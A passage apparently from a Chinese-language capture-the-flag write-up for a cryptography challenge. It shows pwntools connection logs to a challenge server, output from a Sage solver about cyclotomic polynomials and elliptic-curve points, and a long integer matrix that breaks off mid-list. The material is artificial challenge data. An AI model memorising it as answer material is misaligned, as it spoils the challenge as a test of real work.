    f.close()

得到的数据如下

[+] Starting local process './c.sage': pid 41666
b'Cyclotomic_Polynomials Phi: x + 1\n'
b'Psi: z - 1\n'
b'wrong\n'
[*] Stopped process './c.sage' (pid 41666)
[*] Closed connection to 121.41.9.20 port 6665
[+] Opening connection to 121.41.9.20 on port 6665: Done
Solution: 

[+] Starting local process './c.sage': pid 41925
b'Cyclotomic_Polynomials Phi: x + 1\n'
b'Psi: z - 1\n'
b'1094477304520127985790672621025600999610374173335205039140666609042008538358640473234617871224544718583218818352868128358491538147523272150726235978173256045229998201241704950147287615608045349561023357107016512696700676043527970164 , 1030763785771014717987046304138394442836489889852139479828737981379477233707655574344364525812555575119657470138367621943896352669484624126417247531463800890500345489912586031653601473632884174617800095966332075198093606668070092424\n'
b'(1094477304520127985790672621025600999610374173335205039140666609042008538358640473234617871224544718583218818352868128358491538147523272150726235978173256045229998201241704950147287615608045349561023357107016512696700676043527970164 : 1030763785771014717987046304138394442836489889852139479828737981379477233707655574344364525812555575119657470138367621943896352669484624126417247531463800890500345489912586031653601473632884174617800095966332075198093606668070092424 : 1)\n'
b'(1094477304520127985790672621025600999610374173335205039140666609042008538358640473234617871224544718583218818352868128358491538147523272150726235978173256045229998201241704950147287615608045349561023357107016512696700676043527970164 : 1030763785771014717987046304138394442836489889852139479828737981379477233707655574344364525812555575119657470138367621943896352669484624126417247531463800890500345489912586031653601473632884174617800095966332075198093606668070092424 : 1)\n'
 A = [[2491297, 3923144, 1289455, 4021716, 337975, 3143770, 3557950, 341304, 455942, 4177670, 3340546, 4028765, 2320870, 3081978, 818985, 3242259, 995549, 2729547, 219631, 2130206, 2431889, 3437133, 705892, 3268589, 3687934, 958931, 2516192, 1860165, 1023453, 2954972, 2407318, 3854332, 2320389, 1597429, 171260, 2195369, 1977065, 2954121, 103688, 2179696, 3341984, 941977, 3206534, 1013687, 2216577, 2195795, 237843, 2334271, 2206600, 608485, 3503558, 2473745, 3883407, 3529280, 218265, 3883654, 324031, 186429, 4126800, 3153156, 2220126, 4061700, 3316219, 3172105, 1847039, 3294403, 4147423, 256592, 3436950, 3100090, 1520285, 2064569, 2565047, 1028084, 1620973, 1948607, 3549132, 2359710, 1992828, 3487450, 3612080, 441053, 2199156, 2890422, 2562147, 369063, 4107126, 1146899, 2775186, 3074284, 2753658, 4182387, 3832577, 775926, 4107285, 27264, 2878053, 515185, 258373, 1455220, 2856349, 2462819, 865942, 326474, 3358641, 948506, 2445678, 1017908, 3547779, 658361, 2829207, 1683034, 3768709, 233977, 2944173, 2089850, 2168140, 804839, 780839, 635210, 1308962, 1163123, 1713794, 98445, 2589738, 3272446, 2326080, 505141, 3906582, 4077935, 1000292, 3121629, 2704903, 3250847, 2300956, 2865041, 282192, 2033060, 657556, 1942823, 3110353, 3376364, 718090, 1806372, 499584, 3522863, 1521762, 2786971, 2140682, 216926, 753243, 2974405, 3427513, 1482251, 2946392, 620784, 2812018, 3708482, 3628507, 1350323, 2669060, 871044, 4080642, 48697, 831735, 2081975, 1003680, 2779456, 2768433, 1319487, 2764139, 2743293, 500875, 2756771, 688928, 2420450, 2542999, 3781383, 4020987, 4000070, 1373818, 923562, 877075, 2970373, 3037725, 3289830, 2511141, 4063531, 1637947, 23000, 4187246, 1996064, 1458136, 3977302, 3491665, 1028387, 4028398, 397765, 1760132, 3153398, 3810161, 1971495, 756643, 181167, 3346185, 2046059, 1731694, 1482343, 1273960, 3769920, 175011, 1974455, 2847092, 3199068, 1133365, 1840605, 1382941, 336790, 246835, 3524062, 2275571, 260893, 2522464, 3760909, 2401319, 1972892, 2192355, 2348559, 2968746, 1303894, 4037725, 1070976, 1650576, 3755849, 1724561, 1374666, 653155, 19966, 2152355, 3737399, 3755720, 1139557, 2850582, 3856019, 605733, 800279, 3507621, 311368, 1360210, 3610070, 1018469, 734703, 4111035, 3317616, 2509163, 1027214], [2345579, 3645598, 3313317, 868986, 2201238, 1012434, 4189116, 1833309, 4173250, 1539013, 2558865, 2459736, 3040085, 2641552, 2193150, 3142570, 2096227, 3497720, 3677427, 2826051, 2201963, 2032938, 1751020, 2338084, 501735, 1528173, 1190332, 4039135, 1073609, 2545180, 1483656, 2261722, 1502393, 1950848, 3415037, 2883983, 2952067, 2642902, 150578, 710864, 988399, 633646, 3124896, 1048336, 3864721, 328673, 1853513, 364917, 3308868, 1171552, 3653516, 1468422, 3032090, 2842047, 254437, 2104220, 2876379, 3130725, 1805478, 1526141, 1050520, 2759137, 634328, 4144451, 1239675, 557252, 3977009, 1058165, 4061107, 1956486, 3965945, 3733416, 1361329, 84827, 2915466, 4006254, 3823624, 2452237, 2204002, 1089647, 1309236, 2259059, 2315689, 161139, 3420761, 3165117, 32634, 310702, 1795941, 3035148, 1184669, 2379592, 1857466, 134155, 2562046, 254428, 1773396, 1212942, 2335734, 2443291, 538951, 1855586, 1032635, 3763662, 4017205, 2329915, 2709951, 723648, 168887, 838418, 938926, 1732765, 3484614, 3417960, 83567, 363241, 327574, 433880, 1098638, 179849, 2172410, 3152540, 1782369, 3655145, 2103838, 2060915, 1347678, 2374927, 3158348, 1250185, 3539603, 2618718, 815436, 2951094, 3879951, 1406088, 3907098, 3816768, 1957820, 2878717, 3972083, 1619762, 4147989, 3924744, 142801, 2985546, 2900015, 379251, 924103, 560227, 893488, 2927729, 3043682, 2100176, 3095382, 1948851, 818115, 1370625, 384082, 4177415, 3928916, 2162582, 3336817, 2073043, 3104122, 3531532, 3725890, 671778, 1545701, 1455832, 2491527, 2886274, 2566667, 2913638, 2814684, 1363911, 1069791, 3122004, 4138263, 1118042, 2967808, 1943444, 1439078, 1427258, 649506, 1747073, 3315692, 2404840, 3344307, 3058404, 1012657, 337436, 282239, 3987438, 3563971, 3232709, 1405828, 461145, 1246785, 1132791, 3004771, 660781, 172717, 3190937, 3876997, 2164256, 2070087, 3909187, 2876423, 2804502, 2649946, 28203, 3395597, 3364832, 4106070, 263331, 2648126, 1600290, 721167, 3991279, 2932850, 1816848, 1237930, 3805917, 683434, 56233, 2234822, 2720667, 301679, 4113339, 2938618, 2568280, 2085721, 1870990, 3946203, 1495215, 3487766, 916775, 1022709, 3495902, 1916009, 283993, 2414527, 2646368, 601247, 2633472, 1141376, 3114228, 978394, 2534075, 2624492, 590455, 828034, 1437948, 3805189, 2834344], [1704558, 816765, 3762174, 1494750, 1314054, 3081791, 4124342, 541062, 449851, 2310408, 2187891, 258791, 1466525, 1033243, 1953211, 2821936, 1326046, 2201689, 1504898, 1188458, 1968064, 729708, 3860108, 1748121, 445286, 2990623, 623241, 1555763, 837271, 1024731, 3186362, 3385837, 4040413, 717731, 2217974, 1436441, 4089141, 2329301, 115121, 3151348, 3927806, 2871048, 2096694, 2148109, 2215987, 742646, 2595695, 201314, 1196252, 4092574, 3413334, 1566110, 1452711, 2764185, 1843047, 2722853, 2821082, 3936775, 94394, 154605, 3496812, 3102180, 3668794, 1323547, 621691, 2689849, 3942136, 703083, 3951980, 2518921, 165811, 4039110, 3293950, 4005581, 3989260, 302252, 1500390, 3996893, 184110, 3568920, 2832436, 1967628, 1872907, 1142142, 2241968, 1837314, 4000338, 2183446, 3666725, 2555221, 3098309, 348421, 224049, 4131037, 513747, 4025743, 408370, 1133043, 107358, 917065, 3112215, 4085435, 2350218, 1200235, 2353263, 397736, 570928, 2745875, 1625517, 986524, 405084, 2704966, 1161971, 976713, 4007883, 1231129, 1768281, 1649306, 3886654, 2863786, 955169, 1241834, 3270723, 2366932, 1518102, 1551350, 305123, 3610014, 1417357, 119498, 2573323, 3770262, 3274151, 1204945, 533524, 698269, 4047049, 144159, 1733552, 1937443, 3526562, 2728688, 3366942, 3501818, 865077, 2972243, 349401, 692591, 3372260, 3817253, 3814556, 2961825, 2008053, 2231645, 1347363, 2366615, 3538574, 2064725, 3217945, 335197, 1625433, 3294612, 3313807, 3103512, 3913029, 1140, 3656003, 1300868, 960707, 2691728, 3461722, 2076883, 2762090, 1763491, 2659853, 2649390, 2543718, 2776401, 2115083, 991771, 2399598, 2898148, 983994, 2121942, 3267972, 3419492, 1325456, 2132297, 82758, 1037371, 2216854, 946909, 717051, 2690649, 1527256, 3216202, 212119, 213143, 1947188, 2019239, 1556156, 366669, 4086440, 3805270, 3629077, 1479207, 228876, 773062, 18116, 3825880, 2570871, 1032612, 3786367, 3167506, 1382747, 708805, 359386, 1092968, 265381, 832395, 1839924, 3186779, 1446616, 130730, 1839728, 718508, 378034, 554270, 2275993, 148025, 1677152, 1800446, 4127956, 2214902, 2077929, 4006828, 3345834, 1275040, 3872820, 3017394, 603581, 2917266, 791981, 1887610, 688591, 985010, 3732271, 1900118, 1358876, 1549589, 1813013, 1808563, 706400, 3935940, 1193314, 115921], [1274013, 3735294, 2972120, 4059752, 2836627, 2019431, 2586880, 3732312, 1357547, 3539208, 1549518, 2319645, 1735832, 713543, 2402513, 1082102, 582150, 2355894, 2891749, 1574407, 2360796, 194818, 4092509, 2828740, 4151941, 2777779, 4153191, 3084546, 665776, 478680, 1000398, 1674356, 3203569, 2365990, 358123, 2354367, 106370, 2270033, 732787, 169742, 1828784, 1481625, 813489, 2477957, 1229792, 2729352, 2866275, 2057713, 1227326, 2195519, 2888473, 3219172, 1877123, 3177232, 2924673, 3895833, 3210735, 4097704, 2741833, 3512236, 4117152, 2909683, 2331528, 2772270, 2564983, 3243833, 502914, 1276486, 31250, 3162804, 858144, 3993727, 4093294, 1988824, 3126098, 3472528, 1543910, 639283, 4106751, 2408836, 920223, 1619178, 4082729, 2392804, 2988073, 1701021, 637168, 3479362, 3539216, 3208843, 3160628, 3304419, 1513232, 1187076, 890760, 2723933, 1013302, 1706643, 1990119, 914849, 3051620, 2266231, 3167828, 1985379, 1294763, 1013235, 691641, 614804, 908753, 1793142, 4186308, 223077, 296466, 3094122, 375142, 3982343, 1837355, 3269322, 859890, 3351653, 2024995, 2850579, 3239764, 2696780, 1932390, 2300504, 2203648, 1115926, 2597636, 4162550, 1997742, 1350661, 3278081, 3708696, 692800, 1437388, 391611, 2181932, 2764640, 906844, 1777085, 400108, 2365510, 1381554, 2355958, 3181617, 3455732, 1173164, 2887967, 921139, 1781374, 1511714, 699951, 3425562, 2867911, 169570, 874748, 2434342, 1699422, 2981625, 2014154, 3049470, 829940, 1235688, 3777739, 1674803, 1168362, 4015868, 178143, 239988, 2689798, 2611450, 2838743, 1920275, 2807774, 2095417, 2054441, 285765, 161435, 3628559, 3292071, 257092, 418023, 3970008, 2149606, 1815174, 2943903, 2190266, 4083374, 2533108, 1804450, 2280451, 488329, 2655258, 303725, 794834, 2985520, 3353763, 313460, 641409, 350069, 1249795, 2518737, 1196538, 1062469, 4117679, 2137371, 3037576, 1525799, 1628834, 1851259, 3605877, 17674, 2146625, 3135852, 3846789, 3764278, 2443989, 2575252, 1214527, 2093221, 2528388, 1900521, 1286708, 1117773, 2478942, 3428491, 451114, 1164863, 4006248, 1653957, 1169296, 2151813, 2568214, 1207407, 3482199, 1193504, 1249941, 306877, 1966726, 470848, 2629118, 4092565, 1131887, 1249531, 1477343, 2552369, 1035404, 2284282, 2156209, 1083999, 1582261, 117275, 3449321, 3547909, 565898], [755247, 2004218, 3831019, 3310505, 377980, 3096277, 3570211, 1274098, 4066058, 2427810, 457273, 2880650, 2989099, 859363, 2778606, 1773657, 210751, 40001, 1458653, 157252, 195056, 2093708, 3369555, 2605385, 3320275, 3749099, 1477421, 1054171, 2772148, 638835, 87582, 2850418, 2763904, 3982904, 1953185, 2194746, 849749, 3065644, 1750476, 3588117, 1676718, 2935960, 849569, 831605, 2773794, 851833, 2623136, 3310115, 3180557, 3742379, 3287878, 336838, 2995874, 2832109, 544451, 2776875, 1371686, 3989874, 3469048, 2489362, 3007872, 1659039, 3661677, 597109, 453864, 1023305, 3585161, 98373, 536981, 76725, 1226337, 645920, 613436, 3357251, 3813251, 2694057, 2096916, 2427108, 1717671, 2321549, 2678039, 1615981, 3748204, 264229, 597758, 447948, 2909540, 53418, 2876859, 533811, 1500833, 2820669, 2449890, 4176775, 3587356, 4062670, 1943167, 477111, 534903, 3023573, 1167975, 582820, 482747, 2294862, 67516, 588818, 2819354, 2491476, 383064, 1318652, 1045070, 3855672, 2139215, 1898570, 2951153, 1572337, 702667, 212333, 574580, 460794, 1855606, 2852606, 1395044, 509667, 1236263, 4034804, 2068966, 2638790, 459146, 1654870, 1211495, 581021, 2488585, 3797276, 2352559, 2169006, 3140976, 2507736, 3151948, 1444374, 385704, 1335317, 3646075, 3695509, 3108143, 898043, 2100525, 2909814, 1571195, 2834524, 2811040, 2776459, 3366680, 125320, 905613, 3862065, 1417986, 3325459, 450863, 2285111, 2177190, 2444182, 1746113, 2154716, 2931227, 2339897, 3499453, 721333, 787164, 3063168, 3662338, 2291666, 830204, 3866674, 2797918, 2136914, 1707162, 1041618, 1620124, 2225352, 429237, 2380555, 1763294, 3853547, 3122862, 3062098, 415242, 776357, 3818489, 2489764, 1096887, 830901, 1564570, 2401505, 1069864, 884623, 1181332, 1572787, 1197257, 1959450, 443907, 3396089, 2490842, 3012087, 2125059, 2187118, 2906743, 14286, 1648350, 2233213, 1593219, 4181966, 1252702, 410119, 493301, 1395313, 243189, 803385, 3771209, 3614748, 9127, 1523907, 1818452, 411528, 1600148, 1571631, 2434551, 2009709, 1094498, 1467100, 498250, 1455344, 326204, 3479743, 4059392, 549688, 3267631, 1306045, 3670452, 3794439, 355869, 3570378, 3495735, 719508, 671307, 3738217, 357059, 1039054, 208449, 1772139, 867671, 3128968, 1886075, 1266478, 1105798, 2720493], [167668, 1289720, 3174145, 2668897, 2245182, 2897324, 3640126, 2970138, 4078275, 2419137, 4069751, 94167, 3984301, 2068362, 3769350, 859984, 2408816, 1180603, 3090993, 1327123, 1258763, 3097289, 2560251, 3135340, 103577, 1285465, 3612221, 3351607, 1286625, 1122392, 3528752, 3444357, 33149, 1018053, 763318, 1836353, 3461496, 3855228, 1041594, 3469574, 2202930, 1741106, 4111819, 3602772, 1674254, 3870425, 2281692, 125083, 329375, 1137666, 872658, 3444891, 1435607, 3884526, 169522, 3047467, 2108953, 1576539, 282492, 1243079, 1317457, 4124534, 22679, 1323809, 4018679, 273005, 2199705, 2272783, 1712388, 1857873, 3457328, 728457, 1851728, 2896802, 2137751, 439048, 3791803, 3108365, 1123629, 386270, 2289199, 3103220, 77624, 1799719, 2824145, 3112980, 3120599, 2127292, 1791982, 2115328, 5728, 2938365, 1354666, 2042325, 2818707, 69255, 3797583, 2956068, 3685438, 771143, 2554169, 1168965, 380827, 3674381, 1518679, 3456856, 1603040, 2163600, 3286187, 169736, 2671130, 1833134, 3933842, 357686, 3066807, 1049899, 1633589, 1459948, 140379, 956836, 2241494, 3373537, 2663704, 2494642, 4162938, 1761052, 1154798, 143167, 1968434, 968040, 4108125, 1983144, 402566, 3168009, 2397234, 165407, 2490927, 3494376, 2719421, 3420239, 2347973, 772947, 3925015, 1865001, 1692526, 3152005, 934142, 2530941, 2706218, 850981, 1670956, 2741854, 874952, 1332041, 661141, 4061133, 867196, 2087801, 413322, 476745, 3898783, 3330627, 581382, 264521, 2371146, 2321678, 4019824, 1899036, 979998, 2378426, 2584368, 560089, 2862208, 4047885, 2373205, 2946203, 3680982, 3569470, 4175512, 2496539, 3997889, 104260, 3986423, 1423123, 3865141, 1802011, 1598598, 4055437, 562082, 2402573, 9057, 2793841, 585195, 3086775, 3439111, 1757371, 966040, 617524, 997351, 1262105, 1098465, 1380446, 2727844, 2973170, 2128900, 3134366, 417561, 103799, 3195484, 2788077, 2893058, 1801432, 1397213, 2294250, 2893825, 495485, 2071385, 3451724, 2761511, 3767310, 3847840, 3509553, 1147951, 1233516, 3229394, 4046506, 3161360, 3252432, 55594, 2218016, 3848289, 3951560, 138048, 2193328, 2771441, 2393652, 3079654, 786272, 2173223, 11030, 959753, 4190129, 626937, 827, 2263436, 1590414, 3088803, 411936, 2035004, 380574, 1588232, 269793, 3678877, 386645, 420241, 490040], [3029012, 2721719, 954227, 924823, 1100366, 984994, 2591997, 3057208, 2078901, 3601676, 3477347, 2674034, 664420, 3513846, 359967, 1724284, 2188176, 3567509, 1569663, 3520234, 2181171, 2844252, 2375557, 985779, 3397484, 822374, 2022712, 877524, 2426153, 3246594, 2385394, 1800921, 355470, 2951632, 1131969, 3306766, 1009764, 2194654, 93249, 3690590, 3993452, 215923, 1124537, 3866113, 455368, 3674700, 410825, 2489942, 472138, 4104028, 3339215, 1187367, 774212, 1813788, 4137955, 2441500, 1904066, 2578791, 3265194, 1770403, 163841, 3267071, 2368114, 2419581, 2001327, 4119950, 494615, 3513622, 2956011, 2900225, 2587497, 2334424, 853816, 1531361, 462464, 1328729, 3232162, 710000, 1630985, 3071446, 2579204, 3551435, 1246150, 1092794, 3646383, 1249919, 4058233, 360058, 502274, 1443697, 3773173, 496671, 778022, 1558045, 172726, 2421755, 3960312, 2810668, 2624231, 3305225, 1442392, 693098, 1635660, 490834, 2036558, 2558660, 3147683, 3019435, 2764197, 2812926, 597255, 2902196, 1278295, 2482549, 2219481, 1421516, 1447100, 336944, 2842183, 997753, 3997271, 1278494, 2885302, 1940531, 892299, 2050323, 2006867, 407335, 3396366, 62447, 310780, 519346, 1228769, 719556, 591551, 2873305, 4157228, 2945783, 832937, 1169859, 3093036, 2652704, 4105902, 3588048, 3723885, 812958, 598977, 3957712, 3937877, 3241622, 3262850, 2058086, 952889, 3543756, 4164307, 1885075, 995478, 3926814, 2877205, 1498254, 3915080, 918674, 3659279, 1316688, 3496721, 1128779, 3945497, 2213500, 3731377, 1803046, 1098932, 1777216, 1091749, 1520495, 1293012, 2383411, 864545, 1730373, 2416896, 1689520, 3710006, 3024333, 444400, 2089690, 1590195, 3424540, 628327, 3889648, 1921615, 3157730, 3453796, 2953599, 1008697, 3460041, 3072033, 1935201, 377654, 526468, 933138, 3845911, 926765, 2847447, 373831, 3949739, 1747295, 1280976, 2804158, 449938, 3273986, 555615, 600262, 3771802, 3635444, 1986004, 4097632, 1562648, 3723256, 2685946, 2675661, 454546, 655002, 3311240, 4162368, 2066048, 3327501, 2962394, 2402405, 3749452, 1218733, 1379603, 2803432, 702227, 1900601, 193216, 2725686, 187800, 474047, 760039, 1511791, 3043015, 380786, 2528682, 1278388, 2028801, 300572, 3800688, 2770454, 1832087, 1837780, 3250812, 2979390, 3383983, 1346351, 1320939, 3462186, 3295533], [3489183, 1374142, 2469988, 3433390, 3638060, 2489435, 2751842, 3647546, 3367334, 3730123, 482012, 1854858, 3387727, 2934202, 1034901, 1312295, 661139, 3459046, 1427567, 172882, 555548, 3759653, 1481052, 1884205, 3080521, 2247713, 94338, 2498252, 1081677, 3533321, 2819706, 1610114, 1293328, 3460638, 3056840, 3357409, 2702337, 762026, 1328796, 155973, 3054451, 3275154, 1198314, 2521130, 2851630, 1728674, 648667, 4059544, 1925534, 3718941, 687565, 3528548, 2276328, 3786120, 2268598, 233091, 805193, 2464186, 172397, 531304, 2237043, 158486, 544702, 3108917, 3260956, 973605, 2881421, 3958801, 694431, 1515068, 3358015, 2303215, 3747287, 1561177, 2341801, 1846910, 2879932, 3247922, 1777899, 3016365, 3962305, 3357602, 2185010, 2797176, 2228778, 4054130, 3268076, 3363232, 1782908, 1746348, 2524262, 1688493, 3710630, 4163073, 132440, 3354237, 1097039, 4125465, 26828, 2573237, 2578873, 1167783, 1851487, 3376396, 4127444, 3299267, 424644, 920047, 2659194, 926630, 2318450, 2755057, 2281924, 3838156, 3117124, 2095123, 1086790, 627423, 1718312, 3915260, 2387002, 254061, 2467137, 1174121, 1176100, 168053, 4081883, 3569752, 3024888, 3833669, 1558951, 397941, 3572957, 2734188, 2794317, 205142, 3450829, 3758769, 2007721, 3714167, 2071098, 443569, 76403, 1456658, 499402, 2072442, 2085952, 3885525, 375696, 167036, 3021883, 2436988, 693878, 2586967, 1771420, 155976, 3778276, 9841, 1280570, 2438811, 103331, 91305, 2982642, 3795319, 1373430, 3619907, 2074381, 2382426, 3626795, 2823938, 1576942, 2260944, 1147495, 3292153, 1648924, 3429440, 3497201, 3148252, 72576, 2210295, 360695, 445685, 3121856, 2787472, 956200, 3471708, 2129522, 3588998, 4168994, 3750647, 1140467, 1330624, 2515053, 1356859, 132777, 3889248, 3016254, 2930911, 3036553, 3008514, 805829, 1823972, 2417205, 40163, 427838, 275768, 2411726, 2564478, 803219, 3750473, 1705194, 3938126, 384403, 1481724, 2511973, 1129918, 2346095, 1185637, 478755, 1469922, 2469058, 2505511, 2337489, 1448563, 1688038, 2619067, 2365761, 1988227, 514037, 1743335, 1553698, 3988991, 3556119, 2838162, 1757431, 776305, 2454807, 1620749, 512780, 1937991, 2759017, 393282, 3618303, 3833423, 766773, 2504621, 2916171, 2589668, 2952330, 4189311, 462372, 933967, 506649, 2317443, 1667728, 3097642], [3972687, 486877, 1568525, 961462, 3730649, 1306480, 2969552, 1842604, 954640, 196677, 2646774, 1851953, 3369255, 930607, 1130202, 781357, 2159314, 3707579, 3734258, 2192625, 1376919, 2078763, 852802, 2338689, 1774700, 1788030, 1568134, 1239842, 2855210, 2718174, 4082027, 1386564, 3850201, 3302615, 678461, 2899747, 3595182, 640621, 696118, 4170592, 1905778, 2965909, 1599315, 2510312, 934381, 1499590, 3193706, 1092846, 3976247, 2360995, 852573, 2365491, 427301, 3080890, 1308735, 2592322, 241620, 2354264, 58519, 1581551, 1096616, 3023123, 3640594, 3370762, 3320533, 1034146, 1683487, 890339, 365097, 2869338, 3323263, 1263863, 415819, 890462, 2424491, 1101566, 3462093, 825966, 3441461, 2572436, 3915884, 1638626, 2804079, 3438696, 509929, 1913776, 2311895, 349518, 1403890, 3599421, 2928714, 2730742, 475683, 3146078, 852634, 1142514, 1442486, 3311880, 870473, 3836653, 2188088, 3739062, 153094, 1785423, 4129344, 3695930, 3164688, 798304, 486100, 1264670, 2634936, 1176589, 1631748, 2647328, 1177997, 3797542, 2769222, 2740489, 3535011, 2152079, 3967785, 2136275, 3847116, 2633990, 1718015, 3493688, 1858862, 589283, 1977200, 4183205, 474647, 428493, 170775, 248309, 692801, 361108, 3486426, 2843901, 951315, 3629538, 1215760, 486279, 4024220, 208822, 2614612, 883766, 1369757, 1116638, 3255498, 2582766, 3283698, 3626097, 98212, 754823, 1413317, 1836689, 866612, 3309236, 21743, 654312, 2069542, 1190561, 2247165, 3420978, 2403108, 755536, 742203, 1758681, 3286802, 4137159, 535943, 468027, 1716849, 2584374, 3300776, 519946, 803666, 3865491, 2313911, 3423372, 1730081, 2856185, 3575891, 2502823, 596185, 3433009, 3268527, 691355, 59878, 322304, 2914479, 685631, 1227742, 3660460, 3327529, 4081432, 2006089, 3389912, 1453827, 1291704, 423258, 2470468, 439813, 2304516, 3120296, 4037107, 2940563, 317797, 2955555, 3657381, 2734875, 73702, 205687, 3894053, 1227298, 3089271, 993917, 3856859, 2410596, 2543224, 3040824, 1780691, 3460908, 4152576, 2874345, 2302487, 1620862, 2223761, 577190, 2099705, 2922524, 2649338, 1464143, 419718, 3721964, 1595729, 628798, 1170183, 219368, 963520, 3577809, 1515081, 3593498, 4131915, 2176455, 190015, 626849, 2909607, 2855869, 3429534, 3288043, 3428650, 377684, 1973226, 938801, 2228272], [3481382, 389351, 3686607, 1128326, 2911675, 54904, 1935424, 2524027, 478438, 426811, 860212, 1964144, 1519374, 2692101, 4040200, 4045493, 2136791, 2512694, 262353, 1910754, 2264170, 3787600, 2756622, 701225, 104890, 3084817, 2506216, 430453, 1927860, 1417502, 2495228, 3031115, 1601104, 501700, 2037665, 3432618, 161832, 3890249, 3068166, 4091593, 598486, 3412989, 3104812, 252001, 1483163, 3860763, 497386, 3634242, 3586228, 3070564, 2761934, 2470072, 1677527, 1801581, 2379203, 2807482, 332699, 999587, 3268282, 317850, 1761690, 515519, 11862, 2846165, 2155835, 1403970, 2273682, 61462, 1910657, 306583, 2300650, 1402948, 3369219, 2647311, 932763, 3523741, 629396, 3421387, 886346, 3530009, 1220028, 3706634, 3154869, 1505271, 2942571, 863153, 2262459, 1399828, 2545645, 1211000, 963282, 3147777, 804715, 2198996, 3990398, 3492534, 3083544, 1817546, 1379178, 2758427, 2593584, 3363050, 1908887, 414159, 3851037, 2096048, 700062, 3450220, 3741299, 3622330, 858956, 3969805, 494275, 3968344, 2420022, 26505, 2381617, 2809794, 1624245, 4152226, 1122609, 2442691, 1879490, 1892593, 2591173, 2318522, 639510, 1090989, 4164447, 3595751, 1512792, 1316982, 3728702, 1638192, 234530, 4188094, 2331253, 1985398, 384088, 4155718, 3019170, 2875572, 1979450, 3371682, 4003577, 1066365, 3577320, 3794799, 504708, 1369179, 2844629, 3000048, 3291724, 1762896, 1015150, 2253933, 1971260, 3026209, 2881069, 1682699, 2727070, 923036, 3712127, 2623594, 2587648, 2977751, 2369428, 559930, 419073, 2476159, 1540075, 1978980, 2811457, 3312790, 2869173, 1084391, 3636701, 1280221, 416088, 2195443, 3542185, 4032364, 3084801, 1312009, 590997, 512216, 178063, 63260, 954391, 3824695, 1737840, 2481006, 363436, 2167466, 2966608, 2561400, 2310157, 2906824, 2831349, 184093, 3215589, 1553227, 3391570, 3688012, 1388747, 467092, 75300, 1684105, 761837, 258716, 2029245, 568033, 4118473, 2083221, 638292, 1579792, 3668434, 2928392, 1042443, 970082, 1215727, 586695, 4020403, 2538739, 3387513, 412417, 851529, 2102255, 3473280, 978160, 218164, 1892719, 3624150, 649310, 1808749, 1193872, 961054, 3743546, 3708344, 4023509, 85612, 975313, 1182614, 635701, 3949737, 899572, 718143, 472057, 472746, 2305398, 2316265, 582894, 1223849, 221439, 2802590, 1355913], [2133763, 3926850, 2319726, 1118165, 1793031, 1816741, 876686, 1498057, 1293956, 2716933, 140454, 2740392, 117324, 2507505, 2104510, 3130545, 854554, 2512963, 3854261, 3089890, 1695571, 3729088, 2358234, 1243280, 3067612, 3277954, 1935739, 465047, 1597805, 4045859, 214037, 2810713, 2032520, 3436121, 2351080, 1068630, 851289, 1995291, 1937641, 2530762, 765856, 1834412, 1000488, 3151749, 3236836, 495689, 2861429, 2954452, 116773, 3862576, 2226203, 2288441, 4079215, 132915, 351761, 1758933, 1870013, 4024384, 3852590, 2764845, 2297073, 3573042, 3562125, 134096, 1735054, 1260371, 4194444, 2316472, 2424732, 3106739, 3969163, 3513872, 390071, 2491094, 3549400, 3784991, 1222914, 743328, 3785026, 2239223, 2639813, 4187689, 262633, 2748843, 4156639, 3612433, 3725120, 2601806, 1028582, 18789, 1857505, 2605977, 99053, 3603447, 2615096, 3853009, 3788650, 2978777, 1804122, 2698663, 1825770, 3237951, 2246608, 2880484, 3597196, 1572436, 1672259, 732125, 1095041, 4046644, 2274609, 441007, 699040, 609468, 1543328, 2478082, 2389854, 1398583, 600543, 2575830, 3464787, 1427507, 2356950, 1640399, 2070476, 3244196, 4152370, 3293490, 582122, 4115914, 3227016, 1166552, 3743072, 988754, 389104, 2924560, 3738279, 1723263, 720447, 1798837, 2042181, 3324692, 1978960, 2597180, 3118808, 2431658, 3602387, 3010924, 327692, 615190, 4170587, 771339, 3969744, 2332550, 3311954, 3850914, 2639910, 1354160, 1821294, 4011602, 779888, 3776968, 198748, 560578, 3002810, 474526, 1303532, 3506867, 3196876, 3160024, 1606713, 3856242, 2177675, 2957720, 772418, 3237680, 801616, 2197048, 2861696, 137425, 1098261, 3549357, 1826909, 1836705, 326718, 1218932, 273832, 659150, 3059254, 610905, 2321962, 711754, 1063644, 225658, 1966261, 626414, 2605792, 957110, 2152381, 3438956, 2120361, 100193, 1716281, 908444, 2198361, 796858, 2263546, 567762, 1827534, 790409, 2217591, 3259032, 3645556, 846201, 4166886, 3785356, 423950, 372340, 873794, 2830962, 601398, 1818263, 322865, 3227279, 2414717, 1447571, 2771801, 578666, 3244541, 849641, 1727019, 3144724, 2239473, 1585829, 3576802, 3297456, 3623331, 3474552, 607104, 3256108, 355834, 1028371, 3443026, 1199189, 4112002, 3172478, 860086, 1129468, 3092532, 3981879, 3972137, 102166, 3096242, 388936, 3317427, 3701010], [1193398, 1712285, 819674, 1742352, 1402046, 2970648, 613600, 1177288, 1708410, 1043108, 3684543, 1411343, 3703812, 1653072, 1773691, 1932939, 3762840, 409767, 2922580, 1717641, 1687609, 1221524, 2410483, 592660, 218387, 3623436, 1654095, 302976, 29489, 1939556, 1310186, 485512, 3461511, 2412552, 1532873, 4118081, 68400, 1464432, 723640, 2729274, 2312553, 332131, 1416684, 856778, 2774411, 382493, 3750632, 3741565, 3497468, 985709, 282316, 4092674, 3869928, 3625057, 2443782, 3067091, 3310039, 616990, 4108058, 1077557, 3587807, 3051246, 3373847, 191524, 780919, 637769, 3230189, 951758, 959683, 2083107, 1582007, 3260063, 1202175, 6790, 3433130, 3400730, 832279, 3467270, 577613, 322377, 3324104, 1614579, 2469650, 2436042, 3424757, 2371868, 826063, 3744078, 3865660, 3925350, 414791, 2168613, 740941, 3098531, 1539674, 2690373, 2600713, 1121081, 1594137, 465578, 2710108, 3314500, 111974, 202494, 828046, 806165, 688226, 3784123, 2580013, 3243201, 885815, 4158070, 57993, 3668634, 902572, 1045154, 951533, 3102077, 1285430, 829214, 3762279, 367123, 718524, 3530716, 180433, 200045, 3464286, 4184858, 865256, 1315964, 2392854, 1933051, 1096552, 2858535, 1627059, 523799, 2281451, 1704422, 2351782, 4172223, 4114301, 2919865, 3340100, 2921206, 3839062, 1109487, 2373597, 945622, 519709, 2910484, 2094140, 761124, 304456, 1139076, 535255, 3025194, 2805613, 4050463, 2773106, 702664, 468602, 3375830, 709463, 3548485, 649726, 1549328, 3237224, 1363514, 855150, 1634267, 340431, 1748187, 71326, 1285441, 3792727, 2406050, 806082, 893845, 153501, 3962025, 117952, 467606, 3586396, 3651690, 1709779, 3089898, 2946650, 3869240, 